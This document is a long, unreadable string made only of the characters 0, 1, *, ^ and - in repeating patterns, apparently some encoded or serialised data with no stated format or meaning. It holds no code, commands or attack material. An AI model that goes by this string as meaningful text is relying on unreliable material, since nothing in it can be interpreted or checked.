1*0011*01********101**^-^1^1***10^1**1*11011*10101*-*1*01*0011*01********101**^-1*011***010^1**1*00101*10101*--*001*0011*01********101**^-^101***0010^1**1*0-*010101*^-*001*0011*01********101*001*-1*-11**0010^^101*001*001*001*-1*1*1*0011*01********101*001*-^-011**0010^1*01*00110-1010101*101^1*01*0011*01********101*001*-1**11**0010^^101*001*001*001*^1*1*1*0011*01********101*001*-^^101**0010^1*01*00110-1010101*-011*001*0011*01********101*001*-1*1*1**0010^^-1*00--1^11*1*0011*11*011*01********101*001*-1*^1***10^^-1*01*-1*01*^1*1**001^1*********101***-1*011***010^^-1*001*-10101*^-***01^1*********101*00-10-00-***0010^^-1*0110110-*1*0-*1**001^1*********101**-0-*1****10^^-1*00^10-0101*101011***01^1*********101**0110-*10-**0010^^-1*0101*-0101*--***01^1*********101*0011010-00101101**0010^^1011*01*0101*01*1101*1**001^1*********101**1010-*1101***10^^-1*00-1101*01*1011*1***110^1********101*0010^-0010-***10^1*001*0^--*1*1010-1***110^1********101*0011*-0011****10^^-1*01*11011*1*10110-***110^1********101*00-01011*1011***10^1*11**1*11010101*1101101***0110^1********101*001010101^11011***10^^-1*001010101*01*-00-***110^1********101***101^-101**0010^1*1**1^-110101*110^1***0110^1********101*00-^1^101101**0010^^1101*010101^10101*11*01***0110^1********101**01^1^110101**0011*^-1*010-00110101*1*001***0110^1********101*00-*11*-11***1*^-1*01^^110101*1*001***0110^1********101*0011*01^1011*****^-1**1*011*1*1010-1***110^1********101**10-01*01***00-11*-1*0^-1010101*110^1***0110^1********101**^1101*0-***-11*0011*010101^10101*^^1***1^1*********101*001*110^^11***-11*-1**00-01*1*0-*1**001^1*********101***110^-01***-11*0-*00110^110101*-011***0011*01********101*00-1010^10-***-11*0-*00110^11*1*10110-***11*01********101**-0101*1^1**00-11*-1*010^11010101*110-***0011*01********101**0110101*10-**00-11*-1*010^11010101*10-01***011*01********101*001101010^-***00-11*01**^^10^11*1*0011*11*011*01********101**101010^--**00-11*-1*0-010101*1*0-*1**001^1*********101*00^1010^-011**00-11*-1**1^1*001*-1*1**001^1*********101**0010101*11011**00-11*-1*0101*1*001*^1*1**001^1*********101*00-00101*01101**00-11*-1**0-0010101*^-***01^1*********101**1^101*00101**00-11*-1*01*1^10101*11*01***1^1*********101*0010^10^1*01**00-11*-1**010^10101*^^1***1^1*********101**0^101*-***0-11*01**^^10^11*1*0011*11*011*01********101**0^101*101***00-1*-1***^1*1*10110-***11*01********101*0010-00^11011***0-1*-1*0^11*10101*10-1***01**1********101**101^1*01***0010-*-1**001*10101*1*001***1**1********101**110^^11*1**0010-*-1*0^1**001*1101*1**001**1********101*001^^^1101***010-*-1**1*0010101*-^1***1**1********101***^1*11011**0010-*0-*01010-110101*-011***0011*01********101**101*^10-***10-*0-*0-10-*01*1101*1**001*^1********101*00-*01*1*1***0-*0-*0^10-10101*101*1***1**1********101****1*01101**0011011*0-*001*-*01*1011*1***11*01********101*00110-1*110101**0011011*0-*0-010-0101*110-***01*^1********101**10-1*0-01**0011011*0-*01*1011*01*^1*1***11*01********101*001010-*10-1**0011011*0-*0101*-0011*1*0011*11*011*01********101*001010-*10-***11011*01**^^10^11*1*0011*11*011*01********101*001010-*^11***11011*0-*0010-011*1*0-*1***110^1********101*001^-*001101**0011011*0-**00110110101*-^1***0110^1********101*001*-*-011**0011011*0-*0-001011*1*10110-***110^1********101*00-1011*01****11011*0-*01*010110101*^-***0011*01********101*001101011*0^11**0011011*001*00110-^1011*1*1****11*11********101**-101*101011**0011011*01**^^10^11*1*0011*11*011*01********101**-101*0-01**0011011*0-*01101^1*01*-1*1*1*0011*01********101**-101*-001**0011011*0-*00110^110101*10-1*001*0011*01********101**-101**001**0011011*0-*00101*110101*^-*001*0011*01********101**-101*^11***11011*0-*0--1010101*1101101*01*0011*01********101**-101*0^1***11011*0-*0010-1010101*10-01*01*0011*01********101**-101*1101***011011*0011**011011*01*-00-*1*0011*01********101**-101*001***0011011*0-*01^-010101*-^1*01*0011*01********101*0010-01*10-1**0011011*0-*01011011*001*1101*1*1*0011*01********101*0010-01*011011**0011011*0-*001^11010101*^1101***1^1*********101**0-01*^-**0011011*0-*0-0101010101*110-***01^1*********101*001101101*-011**0011011*101**^110110101*1*001***1^1*********101**101101*101011**0011011*0-**0^1010101*-*1***1^1*********101*00^1101*011011**0011011*0-*0--0010101*^^1***1^1*********101**001101*0^11**0011011*0-**0-0010101*^-***01^1*********101*00-0101*10^1**0011011*01**^^10^11*1*0011*11*011*01********101*00-0101*1*01**0011011*0-**001^10101*11*01***011*01********101**-001*011***0011011*0-*01*0^10101*101*1***1^1*********101**01^1*0-11**0011011*0-*001101*10101*^1101***1^1*********101*00110^1*^101**0011011*0-*01011*01*1*1010-1**001^1*********101**10^1**001**0011011*0-*001***01*^1*1**001^1*********101*00^^1*-1***001011*1011**0--0101*^^1***0110^1********101**00^1*1101***0^11*1011*0-10-10101*101^1***0110^1********101**11*1*--**00^11*1011**^-10101*^1101***1^1*********101*00101*1*101101**00^11*1011*0^110-0101*11*01***1^1*********101**01*1*0-1***^11*0101*0-0011010101*110-***01^1*********101*0011*01*0-1***^11*1011*00-00-0101*1*001***1^1*********101**1*01*0101***0^11*1011*01*010110101*^^1***1^1*********101***001*11*1**00^11*1011*011*0-0101*^-***01^1*********101*00--*0^1***0^11*^1*0^1011010101*-*1***0110^1********101*0010-1*00-***0^11*011**1*11*001*-00-***110^1********101**0-1*00101***0^11**1*0^--*1*1010-1***110^1********101*00110-*0-***00^11*1011**0-0110101*110^1***1^1*********101*00^-*0110-**00^11*1011*001010101*01*^1*1**001^1*********101**00-*0010101**00^11*1011*01*010110101*--***01^1*********101*00-011*010101***^11*1011*01010101010101*110-***01^1*********101**11011**011***^11*1011*00110^11*1*0-*1**001^1*********101*00101011**001***^11*1011*01101*1*01*1011*1**001^1*********101**01011**11***0^11*01**^^10^11*1*0011*11*011*01********101**01011**01***0^11*001*00110-1010101*-011***0011*01********101*001^11*010101***^11*1011*01**1*01*-1*1*1*0011*01********101*001^11*00-***0^11*1011**0-1010101*-*1*01*0011*01********101*001^11*0-***00^11*101*001*001010101*10-01*01*0011*01********101*001^11******^11*001*00110-1*001*-1*1*1*0011*01********101**^11*0^-**00^11*01**101*10^11*010-01*11*1*^1********101**^11**1101**00^11*01**^^10^11*1*0011*11*011*01********101**^11**0101**00^11*1101*010-11010101*101011***01*^1********101*00-101*00-01**00^11**1*011011*10101*10-1***00110^1********101*00110101**^1**00^11*1011*0101101101*1*1010-1***110^1********101*00^101*0--**00^11*01**101*10^11*010-01*11*1*^1********101**00101*0--**00^11*1011*010^11010101*^-***01^1*********101*00-001*0010-**00^11*1011*00-101010101*10-1***01^1*********101**1^1*00^11**00^11*1011*01010101010101*-*1***1^1*********101*0010^1*010-***^11*1011*0110^1010101*101*1***1^1*********101**0^1**-***^11*1011*001*01010101*11*01***1^1*********101**1*1*011****^11*01**^^10^11*1*0011*11*011*01********101*001*01*0--**00^11*101*001*001010101*-^1*01*0011*01********101*001*01**0-**00^11*001*00110-1010101*1101101*01*0011*01********101*001*01*01*11**00^11*101*001*001010101*110^1*01*0011*01********101*001*01*0010101**00^11*001*00110-1010101*1*001*01*0011*01********101*001*01*011*1**00^11*01**^^10^11*1*0011*11*011*01********101*001*01*0-11***^11*001*00110-^1011*1*1****11*11********101*00-11**1^1**00^11*101*001*001010101*^-*001*0011*01********101*00-11*00-11***^11*001*00110-1010101*11*01*01*0011*01********101*00-11**0011***^11*001**-011010101*101011*001*0011*01********101*00-11*001*1***^11*001**101011010101*101011*001*0011*01********101*00-11**101***0^11*101*001*001010101*-*1*01*0011*01********101*00-11*0011****^11*001*00110-1*001*1011*1*1*0011*01********101**-1**0-1**00^11*101*001*001010101*10-1*001*0011*01********101**-1*00101011**00^11*001*00110-1*001*-1*1*1*0011*01********101**-1**-01**00^11*101*001*001010101*-^1*01*0011*01********101**-1*00-001**00^11*001*00110-1010101*101^1*01*0011*01********101**-1***01**00^11*001**-011010101*11*01*01*0011*01********101**-1*00^11***^11*001**101011010101*110-*001*0011*01********101**-1**^1***^11*1011*010-^10101*1*001*01*0011*01********101**-1*001101***0^11*1011*0^-**1*^1*1*1*0011*01********101**-1**01***00^11*101*001*00101*1*1010-1*1*0011*01********101*0010-*0010-1**00^11*001*00110-1010101*^1101*01*0011*01********101*0010-**11011**00^11*01**101*10^11*010-01*11*1*^1********101*0010-*001*11**00^11*01**^^10^11*1*0011*11*011*01********101*0010-*00101101**00^11*1101*010-11010101*1101101***1*^1********101*00-01**0-1**00^11*1101*010-11*001*-00-**001*^1********101*0010101**101***0^11*01**-0^110101*110^1***1*^1********101***1*0011*1**00^11*01**101*1010101*101011***01*^1********101**011***-**00^11*-*00101*1010101*--***01*^1********101**001**1*1***^11*01**101*1010101*110-***01*^1********101*0011***-1***^11*1011*00-0^10101*10-01***1^^1********101**1***011***0^11*1011**^^10101*^^1***1^1*********101*001***001***00^11*1011*0^11**01*1011*1**001^1*********001*00--1^--**00^11*0101*001*10110101*110-***01^1*********001**--1*-01**00^11*1011*01*1*10101*110^1***1^1*********001*0010--*-1***^11*1011*0011*001*1*0-*1**001^1*********001**0--00-01***^11*1011*01**010101*^-***01**1********001**-1011*^11**00^11*0011**--10101*1101101***011*01********001*00-0101^--**00^11*0011*0-0-11*1*1010-1**001**1********001*00-01101*001***0^11*0011*00^-1*01*-00-**001**1********001**110110^11011***^11*0011*010110-10101*1*001***1**1********001*001^1101*00-**00^11*0011*0-00-10101*1*001***011*01********001*00-1010^1^11**00^11*0011*01*0-10101*101011***0011*01********001*001011010^^-**00^11*0011**-0-0101*1*001***011*01********001**101010^10-***^11*0011**011011*01*1101*1***11*01********001*00^1010^11*1**00^11*0011*00^1011*01*^1*1**001**1********001**0^10^11*1**00^11*0011**1^-*1*1010-1**001**1********001**1*101*0101***^11*0011*0011*-0101*10-1***01**1********001***010^1*1***^11*101*001*0010^11*1*0011*11*011*01********001*00-1^^-1***0^11*0011*0^-0110101*^-***01^1*********001*0010-001*-11**00^11*0011**110101*01*1101*1**001^1*********001**0-00^101101**00^11*0011**^10110101*101^1***1^1*********001*001101^1*11011**00^11*0011*010-00110101*1*001***1**1********001**101^^1^11**00^11*0011*01^^110101*101011***01**1********001*00-0^1*001***0^11*0011*00-*110101*110^1***011*01********001*001010^1*11***00^11*101*001*0010^11*1*0011*11*011*01********001***^1*11011**00^11*0011*00--*001*-00-*1*01**1********001***^^-101**00^11*0011*0-1011*001*1011*1*1*0011*01********001***^1*00101**00^11*101*001*001010101*-011*001*0011*01********001***^^1*01**00^11*001*00110-1010101*110-*001*0011*01********001***^1*1011***^11*0011*001^11010101*101*1***1^1*********001*00-1*1*-***0^11*0011***11*001*-1*1**001**1********001*00-*01*^11**00^11*0011***1101*1*0-*1***11*01********001**11*0^101011**00^11*101*001*001010101*-^1***011*01********001*00101*01*10101**00^11*101*001*00101*1*10110-***11*01********001**01*01**01**00^11*101*001*0010^11*1*0011*11*011*01********001**01*01*1011***^11*01**^^10^11*1*0011*11*011*01********001**01*01*1101***^11*0011*01^101010101*10-01***1^1*********001*0011*001*^1***^11*0011*0010^1*001*1101*1**001^1*********001**1*00^10101***^11*0011*0--0010101*^-***01^1*********001*001**^11****^11*0011*010101^1*1*0-*1**001^1*********001*00--1*-011**00^11*0011*001^^10101*11*01***1^1*********001**--*001101**00^11*0011*011011*10101*10-1***01^1*********001*0010-11*010101**00^11*0011*00^1**01*-1*1**001^1*********001**0-11*1*1***^11*01**^^10^11*1*0011*11*011*01********001**0-11*1011***0^11*0011*00101*010101*101^1***011*01********001**10-1**011**00^11*0011*011**10101*^^1***011*01********001*00^-1*1*01**00^11*1101**--10101*101^1***011*01********001**00-1*1011***0^11*001**-011010101*110-*001*0011*01********001**00-1*011***00^11*001**101011010101*101011*001*0011*01********001*00-0-*--**00^11*101*001*001010101*^-*001*0011*01********001*00-0-**-**00^11*001*00110-1*001*^1*1*1*0011*01********001*00-0-*1*11**00^11*101*001*001010101*--*001*0011*01********001*00-0-*010101**00^11*001*00110-101*1*1010-1*1*0011*01********001*00-0-*11*1**00^11*1101*01010-1^11*1*0011*11*011*01********001*00-0-*^11***^11*01**101*10^11*010-01*11*1*^1********001**110-**-**00^11*01**^^10^11*1*0011*11*011*01********001**110-*001011**00^11*01**101*1010101*101^1***0110^1********001*0010-01*1^1***^11*1101*00-0-*01*-00-**001^1*********001**0-01**1***0^11*-*001*110110101*1*001***1^1*********001**101101*10-1**00^11*001*00110-1*001*1101*1***11*01********001**110101*101101**00^11*001*00110-1010101*^-***0011*01********001***101*011011**00^11*001*00110-^1011*1*1****11*11********001*00101^1*11*1**00^11*101*001*001*001*1101*1*1*0011*01********001*00101^1*00-***^11*001*00110-101*1*0-*1*1*0011*01********001*00101^1*10101***^11*101*001*00101*1*10110-*1*0011*01********001*00101^1*0-***0^11*001*00110-1010101*11*01*01*0011*01********001*00101^1*-***00^11*101*001*00101*1*1010-1*1*0011*01********001*00101^1*****00^11*001*00110-1010101*10-1*001*0011*01********001**01^1*^-**00^11*101*001*001010101*101011*001*0011*01********001**01^1*0^11**00^11*001*00110-1*001*-1*1*1*0011*01********001**01^1*110101**00^11*1101*001^-^11*1*0011*11*011*01********001**01^1*-11***^11*01**^^10^11*1*0011*11*011*01********001*00110^1*0-11**00^11*1101*010-0-0101*10-01***1^1*********001**10^1*--**00^11*1101**101011*01*-00-**001^1*********001*00^^1*--**00^11*1101*0010^-0101*10-1***01^1*********001**00^1*^-**00^11*1101*0--011*1*1010-1**001^1*********001*00-*1*1^11**00^11*01**^^101*1*0-*1***11*01********001*00101*1*011011**00^11*1101*0^-01*01*^1*1***11*01********001*00101*1*001***00^11*01**^^10^11*1*0011*11*011*01********001**01*1*010-**00^11*1101*01011010110101*-^1*01*0011*01********001**01*1*1^11**00^11*101**1101^10101*-^1*01*0011*01********001**01*1*001101**00^11*1101*001*10110101*1*001*01*01**1********001**01*1*10^1**00^11*1101**01^11*1*10110-*1*0011*01********001**01*1*0-1***^11*1101*01*^1*01*1101*1**001^1*********001*0011*01**11***^11*0101*001*10110101*^^1***1^1*********001**1*01**01***^11*01**^^10^11*1*0011*11*011*01********001**1*01*0011***0^11*1101*011*0011*1*1010-1***110^1********001*00^-*0011011**00^11*1101*011*00110101*101011***00110^1********001*00^101*010101***^11*1101*010-11*001*-00-***110^1********001**1^1**0-**00^11*1101*010101^10101*^1101***0110^1********001**1011**101***0^11*1101*00-011010101*^1101***1*^1********001*00-01*00101101**00^11*1101*01*011010101*101^1***1*^1********001*0010101**1****^11*1101*0-0101*001*1101*1**001^1*********001*001^1*00110-**00^11*1101*0101^101*1*10110-**001^1*********001**^1*00110-**00^11*1101*0101*101*1*1010-1**001^1*********001*001*1**00101**00^11*011***101010101*101011***01^1*********001***1*0010-***^11*01**^^10^11*1*0011*11*011*01********001***1*00^11***^11*1101*0110-0010101*^1101***0110^1********001**101******00^11*01**-0^110101*-*1***0110^1********001*00-***0-**00^11*011**0^101*01*^1*1***110^1********001**01***1011**00^11*1101*0101011**1*-00-***110^1********11**--11*0^1***0011*1101*0-001**1*-1*1**001^^1********11***-1^^1****011*1101**-**01*1011*1**001^1*********11**-0-^1*****011*1101*00^1*10101*1101101***1^1*********11**1010-^10-1***0011*1101*0-*0010101*10-1***01^1*********11**0010-^-011***0011*0101*00--110101*^-***01^1*********11**1^-1**11***0011**1*011011*10101*-011***01*^1********11**-00-001*11***0011**1*011011*10101*-^1***0110^1********11**11*-**01***0011*101**1101^10101*101*101**001^-********11***00-0010-1***0011*101*001*001010101*101011*001*0011*01********11***00-*11011***0011*001*00110-1010101*110^10^1*001^-********11***00-00-101***0011*01**^^10^11*1*0011*11*011*01********11***00-0010^1***0011*01**001010-0101*101^1***1^1*********11**-1101^^11****11*0101*01010-110101*101011***01^1*********11**0-1011*0-****11*01**^^10^11*1*0011*11*011*01********11**0-1011*0011***1^1*0101*001^-*01*1011*1*001*110^1*****1*************01^1*01**0-0-*01*1101*1*001*110^1*****1*************0-1*00101*0010110-0101*^1101**1*110^1*****1*************0-1*00101*0101^-0101*1101101***1^1*********11**10-011*01***00-1*00101*0011*11*01*-00-**001^1*********11**1101101^--**00-1*011**0-0-*01*1101*1**001^1*********11**0101101^^-**00-1**1**10101^1011*11*****01*11********11**01011011**11**00-1**1**1010110^11*1010-1*1*0011*11********11**01011011*0^1**00-1*001**^^10^11*1*0011*11*011*01********11**01011011*-1***-1*00101*00-110110101*10-1***01^1*********11**^11011*0101***-1*00101*01^11011*1*1010-1**001^1*********11***11011**1***-1*00101*01101010110101*^1101***1^1*********11**-01011*1****-1*00101*001*101*01*-00-**001^1*********11**1010101^101011**00-1*0101**1101^10101*101*101**001^-********11**-^1^10-1**00-1*0101*001*001010101*110^1*01*0011*01********11**-^11*11011**00-1**1*00110-1010101*110^10^1*001^-********11**-^1^-101**00-1*001**^^10^11*1*0011*11*011*01********11**-^1^10^1**00-1*00101*01101^110101*^1101***1^1*********11**0-001^10-***-1*00101**10^110101*10-01***1^1*********11**101^11*101***0-1*00101*0-*0110101*101011***01^1*********11**001^1^-***00-1*00101*0--1*001*-00-**001^1*********11**110^11*01***00-1*0101**1101^10101*101*101**001^-********11**101*11*0-1**00-1*0101*001*00101*1*10110-*1*0011*01********11**101*1^101011**00-1**1*00110-1010101*110^10^1*001^-********11**101*11*-01**00-1*001**^^10^11*1*0011*11*011*01********11**101*11*0^1**00-1*001**-0^1*01*-00-**001*^1********11**01*01^1*11**00-1*0101**1101^10101*101*101**001^-********11**0-1101*001***0-1*0101*001*001010101*101*1*01*0011*01********11**0-110^1****0-1**1*00110-1010101*110^10^1*001^-********11**10-101*10-**00-1*001**^^10^11*1*0011*11*011*01********11**10-101**11**00-1*00101*00^-010101*1*001***1^1*********11**00-10^1*01**00-1*0101*001101*11*1*1010-1**001^1*********11**110-0^1^1***-1*0101**1101^10101*101*101**001^-********11**-01101*001***0-1*0101*001*001010101*101*1*01*0011*01********11**-0110^1****0-1**1*00110-1010101*110^10^1*001^-********11**01101101*10-**00-1*001**^^10^11*1*0011*11*011*01********11**0110110^1*11**00-1*00101*0-0011010101*101^1***1^1*********11**10101101*-01**00-1*00101*00-10101*1*10110-**001^1*********11**00101101*-01**00-1*00101*01*101010101*1101101***1^1*********11**1^110^11*1**00-1*00101*0010^1*001*-00-**001^1*********11**0^1101*^1***-1*0-*00101*101*1*1010-1**001*^1********11**-0010^1****0-1*0101**1101^10101*101*101**001^-********11**01*10^-01***-1*0101*001*001010101*10-1*001*0011*01********11**01*101**1***-1**1*00110-1010101*110^10^1*001^-********11**01*10^^1***0-1*001**^^10^11*1*0011*11*011*01********11**01*101*****0-1*00101***01*001*1011*1**001^1*********11**1*0101*****0-1*00101*0010-0010101*-011***01^1*********11**-1^^101011**00-1*00101*010110^10101*101011***01^1*********11**0-^1*-01**00-1*001**^^10^11*1*0011*11*011*01********11**0-^1*10101**00-1*0101*001*001010101*10-1*001*0011*01********11**0-^^11*1**00-1**1*00110-1*001*-1*1*1*0011*01********11**0-^1*0-***-1*0101*001*001010101*1101101*01*0011*01********11**0-^^10101***-1**1*00110-1010101*^1101*01*0011*01********11**0-^1*-***0-1*0101*001*001*001*-00-*1*0011*01********11**0-^^-***00-1**1*00110-1010101*101^1*01*0011*01********11**0-^1*****0-1*0101*001*001*001*1101*1*1*0011*01********11**10-00^^-**00-1**1*00110-101*1*1010-1*1*0011*01********11**10-001*^11**00-1*00101*001*^10101*^1101***1^1*********11**00-00^10^1**00-1*00101*0^11*10101*101^1***1^1*********11**1101^^^11***-1*00101*01*1*10101*101011***01^1*********11**0101^^10101***-1*001**^^10^11*1*0011*11*011*01********11**0101^^1*1***-1*0101*001*001*001*^1*1*1*0011*01********11**0101^1*101***0-1**1*00110-1010101*-*1*01*0011*01********11**0101^^11****-1*0101*001*001010101*-^1*01*0011*01********11**^1^1*0-1**00-1**1*00110-1010101*^^1*01*0011*01********11**^1^^101011**00-1*0101*001*001010101*1*001*01*0011*01********11**^1^1*-01**00-1**1*00110-1010101*^-*001*0011*01********11**^1^^-001**00-1*00101*0-***1*-00-**001^1*********11***1^1*01101**00-1*0^1*010--10101*^-***01^1*********11**-0^1*-1***-1*0011**0^10110101*110^1***1*^1********11**0^^^10^1**00-1*0101**1101^10101*10-01***1**1********11**1011*^1^11**00-1*0101**11011**1*1101*1**001**1********11***1*^10-***-1*0101**1101^10101*101*101**001^-********11**011*0^10-1**00-1*0101*001*001010101*1*001*01*0011*01********11**011*01*11011**00-1**1*00110-1010101*110^10^1*001^-********11**011*0^-101**00-1*001**^^10^11*1*0011*11*011*01********11**011*0^10^1**00-1*0^1**10-110101*110-***01^1*********11**101*01*0011***-1*0^1*011010-*01*1011*1**001^1*********11**001*01*^1***-1*0^1**010^10101*1*001***1*^1********11**0--*010101**00-1*0101**1101^10101*101*101**001^-********11**0-011*101011**00-1*0101*001*001010101*-011*001*0011*01********11**0-011*0-01**00-1**1*00110-1010101*110^10^1*001^-********11**0-011*-001**00-1*001**^^10^11*1*0011*11*011*01********11**0-011*00-***-1*0^1*00-10-0101*11*01***1^1*********11**1011011*1*1***-1*0^1*0011010-0101*^^1***1^1*********11**0011011*101***00-1*0^1**0^-*1*10110-**001^1*********11**1101011*001****-*0^1**-10110101*101*1***1*^1********11**01^11*01****0-*0101**1101^10101*101*101**001^-********11**00^11*10-***0-*0101*001*001010101*101^1*01*0011*01********11**00^11*01101***0-**1*00110-1010101*110^10^1*001^-********11**00^11*-1***00-*001**^^10^11*1*0011*11*011*01********11**00^11*101****-*0101****110101*101^1***1^1*********11**01*11*--***-*0^1*010101101*01*1101*1**001^1*********11**1*011*1*11***-*0^1*00101010110101*^1101***1^1*********11***0011*10^1***-*0^1*001*10110101*-011***01*^1********11**0-101*1*1***0-*0-*00101*1*001*1011*1**001*^1********11**^1101*01****0-*0101**1101^10101*101*101**001^-********11**1^101*0^1***0-*0101*001*00101*1*0-*1*1*0011*01********11**1^101*1101***00-**1*00110-1010101*110^10^1*001^-********11**1^101*001****-*001**^^10^11*1*0011*11*011*01********11**0^101*010-***-*0^1*00101^1*01*1011*1**001^1*********11**1*101*-101***-*0^1**00^110101*^-***01^1*********11***0101*01^1***-*0^1*0101*0110101*110-***01^1*********11**-^1*-11***0-*0^1*010-11010101*1101101***1^1*********11**0-001*00101***0-*0^1*0-0-01*1*0-*1**001^1*********11**101^1*01011***0-*0^1*0-1011*001*1101*1**001^1*********11**001^1**1***00-*0^1*0^1011010101*101*1***1*^1********11***^1**1***00-*0101**1101^10101*101*101**001^-********11**01*01*01101***0-*0101*001*00101*1*1010-1*1*0011*01********11**01*01*-1***00-**1*00110-1010101*110^10^1*001^-********11**01*01**1***00-*001**^^10^11*1*0011*11*011*01********11**1*001*--***-*0011**0^101*01*-00-**001*^1********11**0-11*01*01***-*001**-0^110101*11*01***1*^1********11**010-**001***0-*0101**1101^10101*101*101**001^-********11**1^11*00-01***-*0101*001*001*001*1101*1*1*0011*01********11**1^11*0-001***-**1*00110-1010101*110^10^1*001^-********11**1^11***1***-*001**^^10^11*1*0011*11*011*01********11**1^11*0-01***0-*0^1*001*11010101*-011***01^1*********11**0^11*001101***0-*0^1*01101101*001*1011*1**001^1*********11**1*11*0-01***0-*0^1*00^101010101*110-***01^1*********11***011*0-****-*0^1**1^1*001*1101*1**001*^1********11**010101*00^11***-*0101**1101^10101*101*101**001^-********11**^11**10-***-*0101*001*001*001*1101*1*1*0011*01********11**^11*001^11***-**1*00110-1010101*110^10^1*001^-********11**^11**01101***-*001**^^10^11*1*0011*11*011*01********11**^11*0011*1***-*0^1*01*001*001*1011*1**001^1*********11***11**1^1***-*0^1*001101^10101*-^1***1^1*********11**-01**0011***0-*0^1*00-0^10101*1*001***1^1*********11**01101*001^1***0-*0101**1101^10101*101*101**001^-********11**1101**11****0-*0101*001*001010101*110-*001*0011*01********11**0101**00-1***-**1*00110-1010101*110^10^1*001^-********11**0101**101011***-*001**^^10^11*1*0011*11*011*01********11**0101**001101***-*0^1**010^10101*^^1***1*^1********11***1***001***-*0101**1101^10101*101*101**001^-********01**0--^-001***-*0101*001*001010101*101^1*01*0011*01********01**0--1**01***-**1*00110-1010101*110^10^1*001^-********01**0--^^11***0-*001**^^10^11*1*0011*11*011*01********01**0--^-1***00-*0^1*0-11*10101*10-1***01^1*********01**00--*^11***-*0^1**101*10101*^1101***1^1*********01**110-11*-01***-*0^1*01011**001*-00-**001^1*********01**010-1^-11***0-*0^1****10101*1*001***1^1*********01***-1^10-1***-*0101**1101^10101*101*101**001^-********01**0^-1*-***00-*0101*001*00101*1*10110-*1*0011*01********01**0^-^-****-**1*00110-1010101*110^10^1*001^-********01**0^-1*****00-*001**^^10^11*1*0011*11*011*01********01**1*-^-011***-**01*0^--0101*-*1***1*^1********01**10110-*^11***-*001**-0^110101*--***01*^1********01**^10-*01101***-*0101**1101^10101*101*101**001^-********01**00^-0011****0-*0101*001*001010101*10-1*001*0011*01********01**11*-*0-1***-**1*00110-1010101*110^10^1*001^-********01**11*-00101011***-*001**^^10^11*1*0011*11*011*01********01**11*-*01101***-**01*00-0-*01*1011*1**001^1*********01**01*-*1011***0-**01*010^-10101*^^1***1^1*********01**1*0-0011011***0-**01*010-0-0101*101^1***1^1*********01***00-0011011***0-*0101**1101^10101*101*101**001^-********01**01011011*1*1***-*0101*001*001010101*^-*001*0011*01********01**0101101^11011***0-**1*00110-1010101*110^10^1*001^-********01**01011011*0101***0-*001**^^10^11*1*0011*11*011*01********01**01011011*101***00-**01*0101010-*1*10110-**001^1*********01***11011*0-1***-**01**1^-0101*10-01***1^1*********01**-0101^-101***-**01*0--0110101*10-1***01^1*********01**0110101^^11***0-**01*0-0110110101*1101101***1^1*********01**10101011*101***00-**01**010101*01*-00-**001^1*********01**1^1011*^11***-**01***101*01*1101*1**001^1*********01**0^1011*11011***-*0101**1101^10101*101*101**001^-********01***^11*01****-*0101*001*001010101*110^1*01*0011*01********01**-*1^10-1***-**1*00110-1010101*110^10^1*001^-********01**-*11*11011***-*001**^^10^11*1*0011*11*011*01********01**-*1^101101***-*001**101*10^11*010-01*11*1*^1********01**-*1^-11***0-*001**-0^1*01*-00-**001*^1********01**001*1^10^1***-*001**-0^11*1*10110-**001*^1********01**1*001^1^1***0-*0101**1101^10101*101*101**001^-********01**010-01*011***00-*0101*001*001010101*1*001*01*0011*01********01**010-0^101****-**1*00110-1010101*110^10^1*001^-********01**^-01*-11***-*001**^^10^11*1*0011*11*011*01********01**^-01*01011***-**01*00^^110101*--***01^1*********01***-01*1^1***-**01*0-*01*01*-00-**001^1*********01**-0110^^11***0-**01*0010-1010101*-^1***1^1*********01**0110110^-1***00-*0101**1101^10101*101*101**001^-********01***01101*^11***-*0101*001*00101*1*10110-*1*0011*01********01***0110^110101***-**1*00110-1010101*110^10^1*001^-********01***01101*0^1***-*001**^^10^11*1*0011*11*011*01********01***01101*1011***0-**01*0-1011010101*110-***01^1*********01**-1010^-01***0-**01**^11010101*10-01***1^1*********01**0-010^-01***0-*001**-0^110101*101*1***1*^1********01**0011010^^11***0-*0101**1101^10101*101*101**001^-********01***0010^-011***-*0101*001*001010101*101^1*01*0011*01********01***00101**11***-**1*00110-1010101*110^10^1*001^-********01***0010^^101***-*001**^^10^11*1*0011*11*011*01********01***0010^-11***0-*001**101*10^11*010-01*11*1*^1********01**-1^1*0011***0-*0-*001*110110101*10-1***01^1*********01**0-^1*0101***0-**01*0^1101010101*101011***01^1*********01**10-00^1011***00-**01*0101^1*001*-00-**001^1*********01**00-00^-****-**01*0011*1010101*11*01***1^1*********01**1101^1*001***00-**01*0^-0010101*10-01***1^1*********01**0101^1*****00-**01*01*1^10101*1101101***1^1*********01**-0^^^11***0-**01*011010^10101*-*1***1^1*********01**0110^^^11***0-**01**^^10101*^-***00110^1********01***0^1*0101***0-**01*011011*10101*1*001***0110^1********01**101*01*1*1***-*0101**1101^10101*101*101**001^-********01****01*01****-*0101*001*001010101*110^1*01*0011*01********01**--1*10-1***-**1*00110-1010101*110^10^1*001^-********01**--1*011011***-*001**^^10^11*1*0011*11*011*01********01**--1*101101***-**01*00-*01*1*10110-**001^1*********01**0--**001***-**01*011**10101*10-01***1^1*********01**10-11*00-***0-*0101***101010101*^1101***1^1*********01**00-11*0-1***0-*0-*0010--10101*101011***01^1*********01**110-1*0^1***0-*0-**110-110101*1*001***1*^1********01**1^-*101011***-*0-**0110-10101*11*01***1*^1********01**1*-*1^11***-*0101**1101^10101*101*101**001^-********01**1101011*01^1***-*0101*001*001*001*1101*1*1*0011*01********01**1101011*-11***0-**1*00110-1010101*110^10^1*001^-********01**1101011**11***0-*001**^^10^11*1*0011*11*011*01********01**1101011*-1***00-*0-*0010^-1*1*0-*1**001^1*********01**0101011*^1***00-*0-*00^110-0101*--***01^1*********01***1011*101011***-*0-*001*10-0101*110-***01^1*********01**-0011*101101***-*0-**11*-0101*11*01***1^1*********01**01^11*00^1***-*0-**10-0110101*-011***01^1*********01**10^11*-11***0-*0101*00---0101*1101101***1**1********01**01*11*-101***-*0101**1101^10101*101*101**001^-********01**0-101*-****-*0101*001*001010101*-*1*01*0011*01********01**0-101******-**1*00110-1010101*110^10^1*001^-********01**10-01*^-***-*001**^^10^11*1*0011*11*011*01********01**10-01*-101***-*0-*001*110110101*1101101***1^1*********01**1101101*^-***-*0-*001011*1*01*-00-**001^1*********01**0101101**-***-*0101**1101^10101*101*101**001^-********01**0010101*-011***-*0101*001*00101*1*10110-*1*0011*01********01**0010101**011***-**1*00110-1010101*110^10^1*001^-********01**0010101*^101***-*001**^^10^11*1*0011*11*011*01********01**0010101**001***-*0-**001010110101*101011***01^1*********01**1^101*0101